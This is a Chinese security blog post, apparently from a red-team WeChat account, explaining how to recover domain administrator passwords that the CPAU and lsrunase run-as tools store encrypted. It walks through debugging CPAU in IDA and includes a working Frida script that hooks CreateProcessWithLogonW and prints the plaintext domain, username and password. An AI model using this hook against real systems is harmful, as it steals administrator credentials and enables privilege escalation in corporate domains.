免责声明:
本公众号致力于安全研究和红队攻防技术分享等内容,本文中所有涉及的内容均不针对任何厂商或个人,同时由于传播、利用本公众号所发布的技术或工具造成的任何直接或者间接的后果及损失,均由使用者本人承担。请遵守中华人民共和国相关法律法规,切勿利用本公众号发布的技术或工具从事违法犯罪活动。最后,文中提及的图文若无意间导致了侵权问题,请在公众号后台私信联系作者,进行删除操作。
在使用Active Directory域环境中,普通用户若需要自行安装软件,则需要切换到管理员账户并获取相应的权限来运行。有些软件也要求管理员权限才能运行,对于这种情况,通常可以借助第三方软件CPAU以及lsrunase,通过指定批处理脚本来获取管理员权限,从而进行软件安装(或运行指定文件夹中的程序)。
这两个软件通常都会对管理员密码进行加密,因此我们需要进行密码还原。
-
CPAU的使用
CPAU通过用户名密码生成加密文件
cpau -u domainusername -p password -ex program -enc -file enc.txt
CPAU使用加密文件,以管理员权限运行程序
cpau -dec -file ./enc.txt -lwp
-
lsrunase的使用
使用LSencrypt.exe生成加密口令
lsrunase使用加密口令,以管理员权限运行程序
lsrunase.exe /user:username /password:encrypted /domain:test_domain /command:"program" /runpath:"runpath"
-
CPAU密码还原
还原思路:通过上面的方法使用CPAU生成加密文件enc.txt,域密码设置为test_password,通过IDA动态调试CPAU的解密过程
把CPAU载入IDA中,由于main函数太大,无法反编译,通过修改hexrays.cfg中的MAX_FUNCSIZE为1024,重新打开IDA即可对main函数反编译
CPAU在解密enc.txt后会还原password,main函数中查找password关键字
发现CreateProcessWithLogonW函数,CreateProcessWithLogonW是Windows操作系统提供的一个函数,用于在以指定用户身份登录的情况下创建一个新的进程。这个函数允许以不同的用户凭据运行一个进程,而不必实际切换用户登录
在此处断点,配置命令行参数,使用加密的enc.txt文件运行程序,开启调试
动态调试发现在此处enc.txt已被解密,成功还原域的用户名密码
通过frida hook CreateProcessWithLogonW函数,打印参数
const moduleName = 'Advapi32.dll';
const functionName = 'CreateProcessWithLogonW';
const createProcessWithLogonW = Module.findExportByName(moduleName, functionName);
if (createProcessWithLogonW !== null) {
Interceptor.attach(createProcessWithLogonW, {
onEnter: function (args) {
console.log('[CreateProcessWithLogonW]');
// 打印参数
console.log('lpUsername:', Memory.readUtf16String(args[0]));
console.log('lpDomain:', Memory.readUtf16String(args[1]));
console.log('lpPassword:', Memory.readUtf16String(args[2]));
console.log('dwLogonFlags:', args[3].toInt32());
console.log('lpApplicationName:', Memory.readUtf16String(args[4]));
console.log('lpCommandLine:', Memory.readUtf16String(args[5]));
console.log('lpProcessAttributes:', args[6]);
console.log('lpThreadAttributes:', args[7]);
console.log('bInheritHandles:', args[8].toInt32());
console.log('dwCreationFlags:', args[9].toInt32());
}
});
} else {
console.error('Unable to find CreateProcessWithLogonW function.');
}
获取到解密后的域、用户名、密码
-
lsrunase密码还原
lsrunase载入IDA中,发现加壳了
我们猜测也是使用CreateProcessWithLogonW启动程序,直接使用脚本测试,成功获取到域密码
在这篇文章中,我们研究了在域环境中以普通用户身份安装软件的问题,并介绍了通过CPAU和lsrunase两个第三方软件来获取管理员权限的方法。
这两个工具通常会配合批处理进行使用,会对管理员密码进行加密,CPAU只要获取到加密文件或lsrunase获取到加密密码,我们即可hook关键函数还原域密码,理论上使用CreateProcessWithLogonW函数的软件均可通杀还原密码。
后台回复“加群”或“小助手”,或扫描下方二维码加入我们的付费圈子,一起进步吧
原文始发于微信公众号(Lambda小队):域环境中管理员密码还原:CPAU和lsrunase的破解分析